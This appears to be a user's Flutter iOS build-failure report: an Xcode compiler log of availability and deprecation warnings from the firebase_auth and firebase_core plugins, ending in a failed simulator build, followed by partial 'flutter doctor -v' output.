In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:62:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:84:1: note: annotate
'application:didReceiveRemoteNotification:fetchCompletionHandler:' with an availability attribute to silence this warning
- (void)application:(UIApplication*)application
^
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:157:49: warning: 'UIBackgroundFetchResult' is only
available on iOS 7.0 or newer [-Wunguarded-availability]
performFetchWithCompletionHandler:(void (^)(UIBackgroundFetchResult result))completionHandler;
^
In module 'UIKit' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Target Support Files/firebase_auth/firebase_auth-prefix.pch:2:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/UIKit.framework/Headers
/UIApplication.h:76:29: note: 'UIBackgroundFetchResult' has been explicitly marked partial here
typedef NS_ENUM(NSUInteger, UIBackgroundFetchResult) {
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:62:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:156:1: note: annotate
'application:performFetchWithCompletionHandler:' with an availability attribute to silence this warning
- (BOOL)application:(UIApplication*)application
^
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:166:27: warning: 'NSUserActivity' is only available on
iOS 8.0 or newer [-Wunguarded-availability]
continueUserActivity:(NSUserActivity*)userActivity
^
In module 'Foundation' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterBinaryMessenger.h:8:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/Foundation.framework/He
aders/NSUserActivity.h:17:12: note: 'NSUserActivity' has been explicitly marked partial here
@interface NSUserActivity : NSObject
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:62:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:165:1: note: annotate
'application:continueUserActivity:restorationHandler:' with an availability attribute to silence this warning
- (BOOL)application:(UIApplication*)application
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:102:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseStorage/FirebaseStorage.h:24:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseStorage/FIRStorageTaskSnapshot.h:53:50: warning: 'NSProgress' is only available on iOS 7.0 or
newer [-Wunguarded-availability]
@property(readonly, strong, nonatomic, nullable) NSProgress *progress;
^
In module 'Foundation' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterBinaryMessenger.h:8:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/Foundation.framework/He
aders/NSProgress.h:37:12: note: 'NSProgress' has been explicitly marked partial here
@interface NSProgress : NSObject {
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:102:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseStorage/FirebaseStorage.h:24:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseStorage/FIRStorageTaskSnapshot.h:33:12: note: annotate 'FIRStorageTaskSnapshot' with an
availability attribute to silence this warning
@interface FIRStorageTaskSnapshot : NSObject
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:84:36: warning:
'signInWithCredential:completion:' is deprecated: Please use signInAndRetrieveDataWithCredential:completion: for Objective-C or
signInAndRetrieveData(with:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments] signInWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:21:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRAuth.h:464:73: note: 'signInWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:91:36: warning:
'signInWithCredential:completion:' is deprecated: Please use signInAndRetrieveDataWithCredential:completion: for Objective-C or
signInAndRetrieveData(with:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments] signInWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:21:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRAuth.h:464:73: note: 'signInWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:100:36: warning:
'signInWithCredential:completion:' is deprecated: Please use signInAndRetrieveDataWithCredential:completion: for Objective-C or
signInAndRetrieveData(with:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments] signInWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:21:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRAuth.h:464:73: note: 'signInWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:107:36: warning:
'signInWithCredential:completion:' is deprecated: Please use signInAndRetrieveDataWithCredential:completion: for Objective-C or
signInAndRetrieveData(with:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments] signInWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:21:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRAuth.h:464:73: note: 'signInWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:178:9: warning:
'reauthenticateWithCredential:completion:' is deprecated: Please use reauthenticateAndRetrieveDataWithCredential:completion: for Objective-C or
reauthenticateAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
reauthenticateWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:229:31: note: 'reauthenticateWithCredential:completion:' has been explicitly marked
deprecated here
DEPRECATED_MSG_ATTRIBUTE( "Please use"
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:188:9: warning:
'reauthenticateWithCredential:completion:' is deprecated: Please use reauthenticateAndRetrieveDataWithCredential:completion: for Objective-C or
reauthenticateAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
reauthenticateWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:229:31: note: 'reauthenticateWithCredential:completion:' has been explicitly marked
deprecated here
DEPRECATED_MSG_ATTRIBUTE( "Please use"
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:196:9: warning:
'reauthenticateWithCredential:completion:' is deprecated: Please use reauthenticateAndRetrieveDataWithCredential:completion: for Objective-C or
reauthenticateAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
reauthenticateWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:229:31: note: 'reauthenticateWithCredential:completion:' has been explicitly marked
deprecated here
DEPRECATED_MSG_ATTRIBUTE( "Please use"
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:206:9: warning:
'reauthenticateWithCredential:completion:' is deprecated: Please use reauthenticateAndRetrieveDataWithCredential:completion: for Objective-C or
reauthenticateAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
reauthenticateWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:229:31: note: 'reauthenticateWithCredential:completion:' has been explicitly marked
deprecated here
DEPRECATED_MSG_ATTRIBUTE( "Please use"
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:214:9: warning:
'reauthenticateWithCredential:completion:' is deprecated: Please use reauthenticateAndRetrieveDataWithCredential:completion: for Objective-C or
reauthenticateAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
reauthenticateWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:229:31: note: 'reauthenticateWithCredential:completion:' has been explicitly marked
deprecated here
DEPRECATED_MSG_ATTRIBUTE( "Please use"
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:223:48: warning:
'linkWithCredential:completion:' is deprecated: Please use linkAndRetrieveDataWithCredential:completion: for Objective-C or
linkAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments].currentUser linkWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:334:71: note: 'linkWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:234:48: warning:
'linkWithCredential:completion:' is deprecated: Please use linkAndRetrieveDataWithCredential:completion: for Objective-C or
linkAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments].currentUser linkWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:334:71: note: 'linkWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:243:48: warning:
'linkWithCredential:completion:' is deprecated: Please use linkAndRetrieveDataWithCredential:completion: for Objective-C or
linkAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments].currentUser linkWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:334:71: note: 'linkWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:254:48: warning:
'linkWithCredential:completion:' is deprecated: Please use linkAndRetrieveDataWithCredential:completion: for Objective-C or
linkAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments].currentUser linkWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:334:71: note: 'linkWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:263:48: warning:
'linkWithCredential:completion:' is deprecated: Please use linkAndRetrieveDataWithCredential:completion: for Objective-C or
linkAndRetrieveData(WithCredential:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments].currentUser linkWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:36:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRUser.h:334:71: note: 'linkWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:367:36: warning:
'signInWithCredential:completion:' is deprecated: Please use signInAndRetrieveDataWithCredential:completion: for Objective-C or
signInAndRetrieveData(with:completion:) for Swift instead. [-Wdeprecated-declarations]
[[self getAuth:call.arguments] signInWithCredential:credential
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:7:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/Firebase/Firebase.h:18:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FirebaseAuth.h:21:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Private/FirebaseAuth/FIRAuth.h:464:73: note: 'signInWithCredential:completion:' has been explicitly marked
deprecated here
completion:(nullable FIRAuthResultCallback)completion DEPRECATED_MSG_ATTRIBUTE(
^
In module 'Darwin' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterViewController.h:9:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/usr/include/AvailabilityMacros.h:178:64: note:
expanded from macro 'DEPRECATED_MSG_ATTRIBUTE'
#define DEPRECATED_MSG_ATTRIBUTE(s) attribute((deprecated(s)))
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:392:62: warning: implicit conversion loses
integer precision: 'long' to 'int' [-Wshorten-64-to-32]
userData[@"lastSignInTimestamp"] = [NSNumber numberWithInt:lastSignInDate];
~                       ^~~~~~~~~~~~~~
25 warnings generated.
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_core-0.2.5+1/ios/Classes/FirebaseCorePlugin.m:13:17: warning: property 'dictionary'
requires method 'dictionary' to be defined - use @dynamic or provide a method implementation in this category [-Wobjc-property-implementation]
@implementation FIROptions (FLTFirebaseCorePlugin)
^
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_core-0.2.5+1/ios/Classes/FirebaseCorePlugin.m:10:46: note: property declared here
@property(readonly, nonatomic) NSDictionary *dictionary;
^
1 warning generated.
Could not build the application for the simulator.
Error launching application on iPhone X.

when I'm running the application on iOS platform then It will gives this error

flutter doctor -v output
[✓] Flutter (Channel stable, v1.0.0, on Mac OS X 10.13.6 17G65, locale en-IN)
• Flutter version 1.0.0 at /Users/amolyadav/Downloads/flutter
• Framework revision 5391447fae (4 months ago), 2018-11-29 19:41:26 -0800
• Engine revision 7375a0f414
• Dart version 2.1.0 (build 2.1.0-dev.9.4 f9ebf21297)
[✓] Android toolchain - develop for Android devices (Android SDK 28.0.3)
• Android SDK at /Users/amolyadav/Library/Android/sdk
• Android NDK location not configured (optional; useful for native profiling support)
• Platform android-28, build-tools 28.0.3
• Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
• Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1136-b06)
• All Android licenses accepted.
